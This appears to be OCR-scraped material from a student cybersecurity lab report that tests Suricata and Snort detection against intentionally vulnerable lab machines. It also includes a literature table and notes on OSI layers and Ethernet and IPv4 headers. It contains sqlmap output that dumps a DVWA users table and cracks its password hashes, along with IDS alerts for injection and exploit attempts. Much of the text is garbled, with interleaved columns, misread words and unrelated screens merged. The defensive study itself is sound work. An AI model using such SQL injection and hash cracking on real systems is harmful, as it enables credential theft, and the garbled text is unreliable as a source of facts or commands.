web application technology: PHP 5.2.4, Apache 2.2.8

back-end DBMS: MysQL > 4.1

[16:44:43] [INFO] fetching tables for database: dvwa

[16:44:43] [WARNING] reflective value(s) found and filtering out

Database: dvwa

[2 tables]

| guestbook

| users I

ARRBRRRERRR

QBB anRR o

[16:44:43] [INFO] fetched data logged to text files under ‘/root/.local/share/sqlmap/output/meta2.com
[16:44:43] [WARNING] your sqlmap version is outdated

[*] ending @ 16:44:43 /2025-10-04/ 00 27 08 60 27
48 9e 40 06 81

o q 78 00 b6 1a 33
L—”zrnntakalx)—[/hnme/kau] 42 od e1 f3 e6

1 do e2 4e 6a 89

® B etho: <live capture i progress> Packets: 11770 Profile: Default
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(Working) [Running] -

Machine Input _ Devics

7:21.117706 [**] [1:2221015:1] SURICATA HITP Host header ambiguld
ous [**] [Classification: Generic Protocol Command Decode] [Priority: 3] {TCE}
10.0.2.70:56062 —> 10.0.2.111:80

10/04/2025-13:17:21.131604 [**] [1:2030585:1] ET EXPLOIT Cisco ASA/Firepower T
nauthenticated File Read (CVE-2020-3452) M3 [**] [Classificacion: Attempted Us|
er Privilege Gain] [Priority: 1] {TCP} 10.0.2.70:56062 —> 10.0.2.111:80
10/04/2025-13:17:21.131604 [**] [1:2034262:1] ET EXPLOIT Cisco ASA and Firepou]
er Path Traversal Valnerability Ml (CVE-2020-3452) [**] [Classification: Atcemp]

root@suricata:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tcp porfe
© 22 and not ip6" -w PHASEl-Suricata-Testss0-75.pcap

Running as user "root" and group "root”. This could be dangerous.
Capturing on 'enpos3’

385332 ~C
root@suricata:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tep porl
© 22 and not ip6" -w PHASEl-Suricaca-Testse3-75.pcap

Running as user "root" and group "root”. This could be dangerous.

Tasks: 43, 40 thr RED
Mem[ 111117434/1.526] Load average: 0.21 0.10 0.08
Swpl 1 Uptime: 07:32:10

VIRT = RES S| CPUSVMEMS

ced Administrator Erivilege Gain] [Prionicy: 1) (ICE) 10.0.2.70:36052 > 10.0.3 iAot CEETRErTes s
Losos - 29913 ~C 283 root 15 -1 66963 20952 19800 1.0 0:02.92
(olormze s aaian L) [1i2RR000zi 1] SURICATA Bmiaver Dececr protece) zoot@suricata:/home/cslab/Wiresharkt tshark -i enp0s3 ~f "not tcp por| 333 zoot RT 2824 27264 8704 1.4 0:00.31
only one direction [**] [Classification: Generic Protocel Command Decode] [Pr] A A e ST 4 e o imene PR
iority: 3] (TCP} 10.0.2.70:34530 -> 10.0.2.111:138 ol b o e e RO
10/04/2025-13:45:01.705501 [**] [1:2260002:1] SURICATA Applayer Detect protocol Running as user "Ioot® and group "root”. This could be dangerous. o meor . .
o om0 [Claseitiiarion: P Capturing on 'enp0s3 350 root RT 282M 27264 8704 1.4 0:00.00
oniy one sizeceion [+1] (Classuticavion: Ceneric protocol Comand Decodc (2 9644 ~C 351 root RT 282M 27264 8704 1.4 0:00.00
sorit .0.2.70: -> 10.0.2. o
zoot@suricata:/home/cslab/Wiresharkt tshark -i enp0s3 —f "no o} 352 zoot RT 2824 27264 8704 1.4 0:00.00
10/04/2025-14:06:57.230333 [**] [1:2210022:2] SURICATA STREAM ESTABLISHED SYNal e ©ai/home/cslab/iizesharks tanark P0S3 —f "ot tep b
o t 22 and not ip6" -w PHASEl-Suricata-Tests71-T5SQLUAP.pcap 353 zoot RT 2824 27264 8704 1.4 0:01.31
CK resend [**] [Classification: Generic Protocol Command Decode] [Priority: 3] oo araes R

Running as user "root” and group "root". This could be dangerous.

(TCP} 10.0.2.111:80 -> 10.0.2.10:50220

i

111:80 Capturing on 'enp0s3’
10/04-16:36:58.184765 [**] [1:1061:6] WEB-MISC xp_cmdshell attempt [**] [Class|il]|38256¢ C ceull| 1 Tasks: 50, 36 thr, ;1 runni
ification: Web Application Attack] [Priority: 1] (ICP} 10.0.2.70:56608 -> 10.0. [l |root@snorc2:/nome/cslab/Wiresharki tshark -i enp0s3 —f "mot tcp port 22 an| Mem[ LT 15524/ 1 Load average: 0.00 0.00 0.00
2.111:80 d not ip6" -w PHASEl-Snort2-Tests63-75.pcap swp( 1 Uptime:

10/04-16:36:58.184765 [**] [1:1147:7] WEB-MISC cats20 access [**] [Classificac|ll [Running as user "root” and group "rcot”. This could be dangerous.

ion: Attempted Information Leak] [Priority: 2] {TCE} 10.0.2.70:56608 —> 10.0.2.Jl (Capturing on 'enp0s3’
111:50 29415 “C NI VIRT

10/04-16:41:59.896254 [**] [1:1061:6] WEB-MISC xp_cmdshell actempt [**] [Classfill |Zoot@snort2:/home/cslab/Wiresharké tshark -i enp0s3 -f "not tcp port 22 an) T
ification: Web Application Attack] [Priority: 1] {(ICB} 10.0.2.70:52994 —> 10.0.Jll d not ip6" —w PHASEl-Smort2-Tests70-75.pcap ~1 66964 21068
2.111:80 Running as user "root” and group "root”. This could be dangerous. 22664 13648
10/04-16:41:59.896254 [**] [1:1147:7] WEB-MISC cati20 access [**] [Classificac|il (Capturing on 'enp0s3’ 282M 27264
ion: Attempted Information Leak] [Priority: 2] {TCP} 10.0.2.70:529%4 —> 10.0.2.Jl 9366 ~C 29068
111180 Zooc@enoza:/nome/celan/Wizesnazit tobazk i cooos3 22210
10/04-16:42:16.001184 [**] [1:1344:5] WEB-ATTACKS cc command attempt [**] [Cla]
ssification: Web Application Attack] [Priority: 1] {ICP} 10.0.2.70:53724 -> 10.
0.2.111:80

47, 32 thr
Mem[ i 1 Load average: 0.23 0.24 0.26
1 Uptime: 07:32:29

Snort3: Test74 SQLMap Alerts not visible

B
[10/04-16:44:47.037652 [**] [116:58:1] " (tcp) experimental TCP options found” [
[Priority: 3] {TCP} 10.0.2.112:43456 -> 1.1.1.1:53 M
‘;1‘:2;2:’(;5“3:’ [**] [112:1:1] "(azp_spoof) unicast 1 1eg Snort3: Test74 - SQLMap Alerts below from alert log: SRS
[10/04-16:45:02.053300 [**] [116:58:1] " (tcp) experimental TCP options found” [ zoot 77028 12600
[Priority: 3] {TCP} 10.0.2.112:35150 -> 1.1.1.1:53 oot 13156 9444
10/04-16:45:02.219920 [**] [112:1:1] "(arp_spoof) unicast **1 [eg zoot 19152 17872
zoot 27264 €703
1] "(arp_spoof) unicast request” [**] (P4 zoot 7680 4992

horicy: 3] (ARE) >
h0/04-16:45:06.235207 [**] [112
31 (aRR} > oot 27264 5704

h0/04-16:45:12.064292 [**] [116:58:1] "(tcp) experimental TCP options found” [ oot 27264 5704

[Priority: 3] {TCP} 10.0.2.112:60320 -> 1.0.0.1:53 x oot 27264
10/04-16:45:16.167846 [**] [112:1:1] " (arp_spoof) unicast ARP request” [**] [PZ oot 27264

31 (aRR} > . oot 27264
10/04-16:45:27.080590 [**] [116:58:1] "(tcp) experimental options found" [ Toot 27264 87045 C.0 1. :00. sbin/m|
[Priority: 3] (TCP} 10.0.2.112:46524 ~> 1.0.0. systemd-ne 54728320

requestn

requestn

REsil 3]

o5
ouozes B
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root@kali: omeflali
File Actions Edit View Help

[16:49:28] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] n

[16:50:53] [INFO] starting dictionary-based cracking (mdS_generic_passwd)

[16:50:53] [INFO] starting 2 processes

[16:50:56] [INFO] cracked password 'abc123’ for hash 'e99a18c428ch38d5f260853678922¢03"
[16:50:58] [INFO] cracked password 'charley’ for hash '8d3533d75ae2c3966d7e0dtfcc69216b"
[16:51:03] [INFO] cracked password 'password’ for hash '5f4dcc3b5aa765d61d8327deb882cf99"
[16:51:07] [INFO] cracked password 'letmein’ for hash '0d107d09fSbbe4Ocade3deSc71e9e9b7”

Database: dvua n o« > B oo o B

Table: users

[5 entries] - =+

Pt Destination Protocol _Length
| user_id | user | avatar password s s

ast_name | first_name | TCP

elephony Wireless Tools Help

| admin | +16.123.129/dvwa/hackable/users/admin. jpg 5fudcc3b5aa765d61d8327deb882c 99 (password) |

| admin ]

| gordonb | .16.123.129/dvwa/hackable/users/gordonb. jpg | e99a18c428ch38d5F260853678922¢03 (abc123) |

| Gordon |

11337 | .16.123.129/dvwa/hackable/users/1337. jpg 843533d7522c396607e0d4Fcc69216b (charley) |

| Hack ]

1 pablo | .16.123.129/dvwa/hackable/users/pablo.jpg | 0d107d09fsbbesdcadeddesc7iesesbs (letmein) |
icasso | Pablo ]
Is | smithy | .16.123.129/dvwa/hackable/users/smithy.jpg | Sf4dcc3bsaa765d61d8327deb882cf99 (password) |
mith | Bob 1

51:13] [INFO] table 'dvwa.users’ dumped to CSV file '/root/.local/share/sqlmap/output/meta2.com/dump/dvwa/users.csv’ 0
51:13] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/meta2.con’ TCr
51:13] [WARNING] your sqlmap version is outdated

[*] ending @ 16:51:13 /2025-10-04/ ©8 00 27 0d de le 08 00 27 47 ¢

©2 48 9e 33 40 00 40 06 81 c2 €
©2 78 00 16 c2 O b6 la 33 83 ¢

Gzinntekali)—[/hnme/kali] 30 14 42 9d 71 00 00 el f3 e6 58
40 —

live capture in progress> Packets: 15660 Profile: Default
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10/04/2025-13:17:21.117706  [**] [1:2221015:1] SURICATA HITP Host header ambigull
ous [**] [Classification: Generic Protocol Command Decode] [Briority: 3] {ICE}
10.0.2.70:56062 —> 10.0.2.111:80

10/04/2025-13:17:21.131604 [**] [1:2030585:1] ET EXPLOIT Cisco ASA/Firepower T
nauthenticated File Read (CVE-2020-3452) M3 [**] [Classification: Attempted Us|
er Privilege Gain] [Priority: 1] {TCP} 10.0.2.70:56062 -> 10.0.2.111:8
10/04/2025-13:17:21.131604 [**] [1:2034262:1] ET EXPLOIT Cisco ASA and Firepou]
ex Path Traversal Valmerability M1 (CVE-2020-3452) [**] [Classification: Attemp|
ced Administrator Privilege Gain] [Briority: 1] {ICB} 10.0.2.70:56062 —> 10.0.2]
111180

10/04/2025-13:45:00.623428  [**] [1:2260002:1] SURICATA Applayer Detect protoco]
1 only one direction (%] [Classification: Gemeric Protocol Command Decode] [Bi]
ioricy: 3] (TCP) 10.0.2.70:34530 -> 10.0.2.111:139

10/04/2025-13:45:01.705501  [**] [1:2260002:1] SURICATA Applayer Detect protoco]
1 only one direction [**] [Classification: Gemeric Protocol Command Decode] [Bi]
ioricy: 3] (TCP) 10.0.2.70:34534 -> 10.0.2.111:139

10/04/2025-14:06:57.230333 [**] [1:2210022:2] SURICATA STREAM ESTABLISHED Sy
cx resend [**] [Classification: Generic Protocol Command Decode] [Priority: 3
(TCP} 10.0.2.111:80 -> 10.0.2.10:50220

i

111:50
10/04-16:36:58.184765  [**] [1:1061:6] WEB-MISC xp_cmdshell attempt [**] [Class|
ification: Web Application Attack] [Priority: 11 (ICP} 10.0.2.70:56608 —> 10.0
2.111:80

10/04-16:36:58. 184765 [**] [1:1147:7] WEB-MISC cat%20 access [**] [Classificat]
1on: Attempted Information Leak] [Priority: 2] (TCP} 10.0.2.70:56608 —> 10.0.2
111:50

10/04-16:41:50.896254 [**] [1:1061:6] WEB-MISC xp_cmdshell attempt [**] [Class|
ification: Web Application Attack] [Priority: 11 (ICP} 10.0.2.70:52894 —> 10.0
2.111:80

10/04-16:41:50.896254 [**] [1:1147:7] WEB-MISC cat%20 access [**] [Classificat]
1on: Attempted Information Leak] [Priority: 2] (TCP} 10.0.2.70:52994 —> 10.0.2
111:50

10/04-16:42:16.001184  [**] [1:1344:5] WEB-ATTACKS cc command attempt [**] [Cld]
ssification: Web Application Attack] [Priority: 1] (TCP} 10.0.2.70:53724 -> 10

] (Priority: 3] (TCE) 10.0.2.112:35780 ~> 1.0.0.1:53
10/04-16:51:16.514267 [+*] [112:1:1] " (arp_spoof) unicast
31 R} >

requestt [+4]
[**] [112:1:1] " (azp_spoof) unicast ARP requestt [**
-

[**] [112:1:1] "(arp_spoof) unicast ARP requesc” [**

[**] [112:1:1] " (azp_spoof) unicast ARP requestt [**

[**] [116:58:1] "(tcp) experimental
[Priority: 3] {TCP} 10.0.2.112:47952 -> 1.0.0.1:53

10/04-16:51:32.234762 [**] [112:1:1] " (arp_spoof) unicast

ority: 31 (ARE} ->

10/04-16:51:33.507138 [**] [112:1:1] " (arp_spoof) unicast

ority: 31 (ARE} ->

10/04-16:51:33.507138 [**] [112:1:1] " (arp_spoof) unicast

ority: 31 (ARE} ->

options found"
requestn [**]
requestn [**]

requestn [**]

root@suricata:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tcp porfe
© 22 and not ip6" -w PHASEl-Suricata-Testss0-75.pcap

Running as user "root" and group "root”. This could be dangerous
Capturing on 'enpos3’

385332 ~C

root@suricata:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tep porl
© 22 and not ip6" -w PHASEl-Suricaca-Testse3-75.pcap

Running as user "root" and group "root”. This could be dangerous
Capturing on 'enpos3’

29513 “C

root@suricata:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tep porl
© 22 and not ip6" -w PHASEl-Suricaca-Tests70-75.pcap

Running as user "root" and group "root”. This could be dangerous
Capturing on 'enpos3’

9644 ~C

root@suricata:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tep porl
© 22 and not ip6" —w PHASEl-Suricata-Tests71-75SQLUAP.pcap

Running as user "rooc” and group "root”. This could be dangerous

Capturing on 'enp0s3’
382564 ~C

root@snort2:/home/cslab/Wiresharki tshark -i enp0s3
d not ip6" -w PHASE1-Snort2-Testse3-75.pcap
Running as user "root” and group "root!

Capturing on 'enpos3’

29415 ~C

root@snort2:/home/cslab/Wiresharki tshark -i enp0s3
d not ip6" -w PHASE1-Snort2-Tests70-75.pcap
Running as user "root” and growp "root". This could
Capturing on 'enpos3’

9366 ~C

Zooc@enoza:/nome/celan/Wizesnazit tobazk i cooos3

not top port 22 an|

dangerous.

"not tep port 22 an|

dangerous.

Snort3: Test75 - SQLMap Alerts not visible

Snort3: Test75 - SQLMap Alerts below from alert log:

Tasks: 48, 40 thr R
Load average: 0.01 0.05 0.06
Uptime: 07:38:14

S| CPUSVMEME

s7@M  S05M
5136 2480
22576 13532
1 66968 21080
282 27264
29068 7764
2821 27264
2821 27264
2821 27264
2821 27264

] Tasks: 50, 36 thr i1
| Load average: 0.00 0.00 0.00
] Uptime: 07:3

[ITEE%

NI VIRT

13648
21068
27264

NI VIRT
12800

12800

s44e

17872

570¢

2952

570e

5704

Bei11
1651

ouozes B

1651
04/10/2025
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File Actions Edit View Help

0 P2 (Working) [Running] - Oracle VirtualBox

Machine View Input Devices

BEmPor- | 2

Help

w

root@kali

10.0.2.112

version:
OpensSL 3.4.0 22 Oct 2024

Testing SSL server

TLSv1.3

Session renegotiation

bits
Accepted bits
Accepted bits

Signature Algorithm:
RSA Key Strength: 2048

Subject:  SSLTarget
Altnames: DNS:SSLTarget
ssuer: ool iiooo

Not valid before:
Not valid after:

root® kali
it

/home/kali

on port

using SNI name

curve
curve
Curve

10.0.2.112

©
I

~ 4 8

DHE 253
DHE 253
DHE 253

0.2.50 or host 10.0.2.51 or host 10.0.2.52 and e

e Statistics Telephony Wireless Tools
Q ¢ > N « > H E o

Destination
10.0.2.112
10.0.2.70
10.0.2.112
10.0.2.112
10.0.2.70
10.0.2.112
10.0.2.112
2.70
112
112
70
70
112

ISy

112
70

112
112

v ol

92 bits), 74 bytes captured (592
©_69:b5:b6 (08:00:27:69:b5:b6), D
Src: 10.0.2.70, Dst: 10.0.2.112

e
A s N
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jroot@snort2:/vaz/log/snorté tall -f /var/log/snort/snort.alert.fast
10/12-13:50:59.515266 [**] [1:2657:8] WEB-MISC SSLv2 Client Hello with pad
lenge Length overflow actemp [+*] [Classification: Atcempted Administrator Pris
ilege Gain] [Priority: 1] (TCP} 10.0.2.70:34658 -> 10.0.2.112:443
10/12-14:21:00.548302 [**] [1:2657:8] WEB-MISC SSLv2 Clienc_Hello with pad Cha)
1lenge Length overflow attempt [++] [Classification: Atempted Administracor Pri:
ilege Gain] [Priority: 1) (TCP} 10.0.2.70:58590 —> 10.0.2.112:443
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4] RCE Avtempt - Any Protocol (lower UDP Bypass:
ification: Misc activity] [Priority: 3
111

10/03/2025-10:05:29.462322  [**] [1:203475
43 RCE Avtempt - Any Protocol UDP (Outbound)
ation: Misc activity] [Priority: 3] {UDP} 10.0.2.101:64034 —> 10.0.2.111:111
10/03/2025-10:05:29.462322 [**] [1:2034803:2] ET HUNTING Possible Apache log]
43 RCE Actempt - Any Protocol (lower UDP Bypass) (Outbound) (CVE-2021-44228:
[**] [Classification: Misc activity] [Priority: 3] (UDP} 10.0.2.101:64034 ->
10.0.2.111:111

10/03/2025-10:05:29. 603! [**] [1:2260000:1] SURICATA Applayer Mismatch prol
tocol both directions [**] [Classification: Generic Protocol Command Decode
(Priority: 3] {TCP} 10.0.2.111:22 -> 10.0.2.101:60470
10/03/2025-10:05:29.603995 [**] [1:2228000:1] SURICATA SSH invalid bamner [*
] [Classification: Generic Protocol Command Decode] [Briority: 31 {ICE} 10.
.2.111:22 > 10.0.2.101:60470

10/03/2025-10:05:29.607193 [**] [1:2260000:1] SURICATA Applayer Mismatch prol
tocol both directions [**] [Classification: Generic Protocol Command Decode
(Priority: 3] {TCP} 10.0.2.111:21 -> 10.0.2.101:60510

(CVE-2021-44228) (] [Class]
(UDP} 10.0.2.101:6403¢ —> 10.0.2.11

1 ET HUNTING Possible Apache log]
(CVE-2021-44228) [**] [Classifi]

0.0.2.100:161
10/03°10:05:27.367724  [**
Attempred Information Leak
00:161

16/03-10:0:
assification
10.0.2.111:111

10/03°10:05:29.383987 [**] [1:1411:10] SNMP public access udp [**
cation: Atempted Information Leak] [Priority: 2] (UDP} 10.0.2.10:
0.0.2.100:161

110/03°10:05:26.383587  [*%]
Attempred Information Leak
00:161

16/03-10:0:
assification:
ooz

[1:1417:9] SNMP request udp [**] [Classification:
(Priority: 2] {UDP} 10.0.2.101:54132 -> 10.0.2.1|

7.435084 [**] [1:1923:6] REC portmap proxy attempt UDP [+*] [Cl|
Decode of an REC Query] [Priority: 2] {UDP} 10.0.2.101:64034 —>|

(Classil
4132 > 1

[1:1417:9] SNMP request udp [**] [Classification:
(Priority: 2] {UDP} 10.0.2.101:54132 -> 10.0.2.1|

9.465509 [**] [1:1923:6] REC portmap proxy attempt UDP [**] [Cl]
Decode of an REC Query] [Priority: 2] {UDP} 10.0.2.101:64034 —>|
1

10/03-10:05:
lengthn [**]
10/03-10:05:
lengthn [**]
10/03-10:0;

lengthn [**]

7.046535
[Priorit;
7.046535
[Priorit;
7.046630
[Briority: 3]
10/03-10:05:27.046703 [**]

]
31

[S]
3

[S]

1e:6:
fetn} >
nie:e:
fetn} >
[16:6:1]
fetnt >
[119:279:1] " (ntep_inspect) invalid status line” |
**] [Priority: 3] (TCP) 10.0.2.101:60474 ~> 10.0.2.112:80
10/03-10:05:27.046703 [**] [118:201:1] " (http_inspect) not HITP traffic or un)
recoverable HTTP protocol error” [**] [Priority: 3] (ICP) 10.0.2.101:60474 ->|
10.0.2.112:80
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10/05-14:03:03.122723 [**] [137

] "(ssl) invalid server HELLO without client HELLO detected" [**] [Priority: 3] {TCP} 10.0.2.112:443 -> 10.0.2.70:37244
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22 [Offensive Security: Towards Proactive Threat Huntin] 2021| Abdul Basit Aj[Offensive security, conducting threat hunting and penetration tests to ider| Attackers | 10110{Threat HulIEEE
25 Intrusion Detection and Prevention System (IDPSIM [Manohar Srin|Deployment of IDPS within an 110T Network. [As the 1nd[10.110{1DS Deplof €€
2] [Machine and Deep Learning Solutions for Intrusion P LS Jayalxmi[IDS & 1PS for IoT networks, Al, ML and Deep Learning (DL] [The increq 10.110{1D5 Deplo| IEEE
25 Intercept the Cloud Network From Brute Force and D| [Muhammad N]1DS & 1PS in a cloud environment to detect and block Dos and Brute Force {Cloud cor| 10.110{1DS Deplo| IEEE
26| Profiling Running Applications in Connected Deviced 202[Vincenzo Rega|Discusses the Side-channel attacks and reconnaissance phase of pen testi[In the fiel{ 10 110{Reconnaig IEEE
27 [ Method for Automatic Penetration Testing and M Eric Filiol, Fral Automated Red Hat ethical hacking and tools used and the attack process.[Recently 1{10.101(Red Hat _|Science Direct
23] [Enhancing cybersecurity resilience through advance 2025|Semi Yulianto, Benfano Soewito, Ford Lumban Gaol, Aditya Kurniawan [A cybers{10.101{Red Hat_[science Direct
2] [Vulnerability Assessment for Applications Security Petar Lachkov[Penetration Testing Process, simulation using Kali and Nmap [Cybersecd 10 130{Pen Test [1Eee
0| PD-CPS: A practical scheme for detecting covert porf [Fua Wu, Zilind Detection of Covert and Slow Port Scans. Port scan{ 10.1011DS Evaisi[science Direct
5] Detection of Slow Port Scanning Attacks. [Mehr u Nisa, | Detection of Slow Port Scanning Attacks [Cyber Sec{10.110{1DS Evaisi[ E€E
52| Detecting Slow Port Scan Using Fuzzy Rule Interpolat [Mohammad A|Detection method of Slow port scans using Fuzzy Rule Interpolation Fuzzy Ruld 10.110{1DS Evaisi[ EEE
33| Packet analysis for network forensics: A comprehenl Leslie F_Sikos |Network Forensic Packet Analysis Packet an{10.101(Packet AnfScience Direct
4] [Analysis and Characterization of Cyber Threats Leve] Bader Al-Sada|Detailed description of the ATTACK Framework [MITRE ATY| 10.110{ Attack Fra| EEE
E5 [A Cyber Kill Chain Approach for Detecting Advanced| [Yussuf Ahmed|Overview of Cyber Kill Chain and applying CKC to detect APT [The numb{10 326{Attack Fra[science Direct
ES [Cyber Security Frameworks (CSF): An Assessment B4 2024| Manishma PaOverview of CFS and an assessment of CFS 2.0 and EU Standards [The rapid |10 23] Attack Fra| IEEE
B [FOOTHOLDER: Collection of tools and scripts used t [Vyshakh Nair,|Using NetDiscover and Nmap. People’s i{10.110{Tools _[IEEE
3 DD0S Mitigation Based on Space-Time Flow Regular} [Zhong U, Yubd[Using Hiping3 [With the 410 110{Tools _[1eee
E [Traffic Classification in IP Networks Through Machi [1orge Gomez, [Using Wireshark Data cent{10.110{Tools__[IEEE
40| Integrated Game Theoretic and Honeypot Based Disf| D15 Raja, N Hemavathi, R Sriranjanii, P Arulozh [The advar(10.110{Tools _[IEEE
1] Use of cyber attack and defense agents in cyber ran; [Muhammad MAutonomous Cyberdefence [With the 410 101{Tools _[science Direct
2| [Maluware communication in smart factories: A netwq 2024 |Bernhard Brer|Nmap (T1-75), fping, PCAP Machine [10.101(Tools _[science Direct,
3| [A critical analysis of the industrial device scanners| [Mohammad B{Masscan, Nessus and Nmap Industrial] 10.101(Tools _|Science Direct
4] Design 2nd implementation of automated IoT secur]| [0 AWaraga, NAutomated Security using SSLScan and Niko [The emerg 10.101{Tools _[science Direct
3| [Modular deep learning-based network intrusion det| 2024|V Ciric, M Mil{Used Nikto in testing. In an incr{10.101(Tools _[science Direct,
5| [Signature and anomaly based intrusion detection 5 [0 Alnasser, 1 AUsed SQlMap during testing. [Cybersecd10.101{Tools _[science Direct
7| [SQL injection attack: Detection, prioritization & prey 2024]A Paul, v Shar{Used SQlMap during testing. [Web appI[10.101{Tools _[science Direct
| [UNSW HomeNet: A network traffic flow dataset for A| [M M Rahman, | Used TCPdump during testing. [The emergl10.101{Tools _[science Direct
4| Penterep: Comprehensive penetration testing with a [W Laz2r0v, P qDiscussed the Pen Test procedure In the con]10.101{Pen Test_|science Direct
50| [Penetration testing of connected households 2023|F Heiding, E 5Vulnerability Assessments and Nessus. [Connected 10.101{Pen Test [Science Direct
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Physical

1000BASE-T (Gigabit Copper)
1000BASE-SX (Gigabit MultiMode)
1000BASE-LX (Gigabit SingleMode)

01001000 01101001

L1is the physical medium that allows the flow of network trafficin binary. This medium can be either copper using voltage +5V to
represent 1and 0V representing 0 or fibre based using visible light or laser or radiowaves for wireless transmission.

Datalink | Frame | Ethernet, MAC, ARP, STP, LLDP, NDP, alb2c3ddests 125 responsible for local network communication of devices on the same network or VLAN transferring Frames between devices.
CDP, Wireless (WiFi - IEEE 802.11),
PAP, CHAP, L2TP, PPP, PPTP, VLAN, L2 MAC Addressing - This is a 48 bit, 12 hexadecimal digit local address burned into network card. L2 Protocol Address Resolution
VTP, Protocol (ARP) is used to discover devices and and map L2 to L3 addressing.

Network | Packet |  Routed: IPva, IPVG, ICMP, IPSec 192.168.1.1 1315 responsible for communication between networks, routing packets either between different local networks and VLANS or accross|
the internet.
L3 1P Addressing - Assigned for accessing services on the Local or Wide Area Networks.
ICMP used for several applications, most commonly known used by the ping tool to test system availability.
Ipsecis a Virtual Private Network protocol suite used to encrypt data at (3.
I the L3 packet exceeds the L2 Framesize the packet is fragmented and spread across multiple frames. This is also true if the L3
Packet's fragment flagis set.

Routing: RIP, OSPF, BGP, EIGRP, IS-15 L3 Routing protocols exchange routing tables between L3 devices such as Routers, L3 Switches and Firewalls. This ensures L3 packets

Jare forwarded to the correct destination.

Transport |Segment L4 is responsible for dividing L3 packets into smaller L4 segments ready for transporting them across the network.

e, [tcp/53, tcp/80, tep/aaa [Connection orientated protocol, ensures segment delivery by generating sequence and acknowldgement numbers. Utilises flags
|acting as a control bit to signal how the segment will impact a connection such as connectiong establishment, or termination.
UDP, QUIC udp/53, udp/69, udp/aa3, | Connectionless orientated protocol, used for real-time traffic. In relation to TCP, UDP is a lightweight and fast protocol, but does not
udp/5060 lguaranetee data delivery.
|QUIC is a more recent prtocol based upon UDP designed to increase bandwidth.
Port Assignment [53=DN, 69=TFTP, B0=HTTP, |Numeric Value assigned for L4 communication which are linked to a service. This ensures that services are delivered to the correct
|a43=HTTPS, S060=51P. |application on the end device. Also firewall rules can be generated using port numbers to secure the network, server or PC.

Session | Data NetBIOS, NBT METAZ L5 is used to establish, authenticate, authorise, maintain and terminate sessions between devices. NBT provides local network Name
Resolution and session establishment. Net8IOS names are limited to 15 Characters, this example shows the NetBIOS name of the
Metaspoitable2 server.

presentation| Data |HTML, XML, PHP, SSL, TLS L6 is responsible for data formatting, encryption and compression.
|Application | Data |HTTP, HTTPS, DNS, Telnet, SSH, FTP, L7 is the layer which applications and users interact with network resources and services.
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Ethernet Ethernet Frame IEEE 802.3
bits (b) |0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31| Additional
Nibble |0 1 2 3 4 5 6 7 8| Information
Bytes (B) |0 1 2 3
bits (b) |0 8 16 2 31
2Byte Preamble [32 bits] Not part of
Preamble Start Frame Delimiter [8 bits] the Frame
Ethernet
14-18 Frame Header
Byte Source (MAC Address) 48 [bits]
Header IEEE 802.1Q VLAN Tag (Optional) [32 bits]
EtherType (Ethernet 1) or Frame Length (IEEE 802.3) 16 [bits] Data (Payload) [46-1522 Bytes / 368-12,176 bits]
46-1522 Encapsulated IP Packet Payload
Byte
Payload

1 Byte FCS| Cyclic Redundancy Check (CRC) Frame Check Sequence (FCS) [32 bits] Ethernet Tail




image15.png
preamble 32__|sequence of 1's and 0's to synchronise receiver with incoming data.

|Start Frame Delimiter 8 __[specific sequence of bits denotes the start of the data.

Destination MAC Address 48_|Physical L2 address of the recipient.

|source MAC Address 48__|Physical L2 address of the sender.

IE€E 802,10 Tag 32 [Thisis the VLAN tag, which includes the VLAN ID (12 bits) indicating the VLAN assignment
|of the Frame. This is crucial for VLAN trunking between switches to differentiate frames
|of varying VLANS.

[This field is also used for Quality of Service (Qos) prioritisation. Which is used if the
network is congested, the frame with a higher QS priority is processed first.

EtherType (Etheret ) 16 |Ifthe value of this field is over 1536, it is considered as the EtherType. Indicates the
protocol within the payload of the frame so the receiving device process the frame
[correctly.

Frame Length (IEEE 802.3) I the value of this field is equal or less than 1500 this is considered the length of the
payload. 1500 is the maximun size of the frame payload.

Data / Payload 261522 |Encapsulated L3 Packet.

Bytes

Frame Check Sequence (FCS) 32 |[2Error checking mechanism, the sender carries out a calculation based on the payload

|cyclical Redundancy Check (CRC) |data. The resulting value is placed in the FCS Tail of the Frame.

[The receiving device carries out the same calculation and it should match the value in the
Fcs.

If the FCS match, the frame is regarded as error free and is processed. However, if the FCs|
|do NOT match, then the frame is regarded as being corrupted and is discarded.
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1Pv4 1Pv4 Packet
bits (b) 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31| Additional
Nibble 0 | 1 2 4 | s 6 | 7 8| Information
Bytes (B) |0 1 2 3 4
bits (b) |0 8 16 24 31
Version [4 bits] THL [4 bits] Type of Service (ToS) [8 bits] Total length (Includes Max Transmission Unit (MTU)) [16 bits] 1Pv4 Packet
D= Identification [16 bits] Flags [3 bits] Fragment Offset [13 bits] Header
Header Protocol [8 bits] r Checksum [16 bits]
Source(IP Address) 32 [bits]

40 Byte Options [0 - 40 Bytes / 0 - 320 bits]

Options

0-65,515 Data (Payload) [Up to 65,515 Bytes / Up to 524,120 bits] Payload

Byte Encapsulated TCP Segment / UDP Datagram
Payload
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[Version 2__[indicates whether this is an IPvé or IPV6 packet.
Internet Header Length (ML) Provides the size of the IP Packet header, used to determine the start of the data /
[Type of Service (Tos) 8 |Gives the priority of the packet, used for Q0S, to process real time taffic such as voice
2nd video traffic first. It can also select which packets to drop due to network.
|congestion. This is also known as Differentiated Sevices (DiffServ)

[Total Lengin 16 [This is the toral size/length of the packet. Includes the [P packet header and
Identification 16 |Aunique identifier allocated to each packet. This is crucial for retransmissions of i
[the packet is fragmented to allow re-assembly of the original packet.

Fiogs 3 |Used for fragmentation. The Do NOT Fragment (DF) flag can be set, if  fouter cannot
fragment the packet it will it will send an ICMP with "Fragmentation Needed" back to
[the transmitting device and drop the packet.

|Altematively the More Fragments (MF) flag can be set. This is set for each fragment of
= packet and is used with the Fragment Offset field. It indicates that the packet was
[fragmented and for the receiving device to expect more fragmented packets. The final
[fragmented packet will have the MF flag unset indicating that there are no more

Fragment Offset 15 |Works in conjunction with the flags field. This provides the number of Bytes
[ransmitted in 2 fragmented packet and provides the start and end point.

Example:
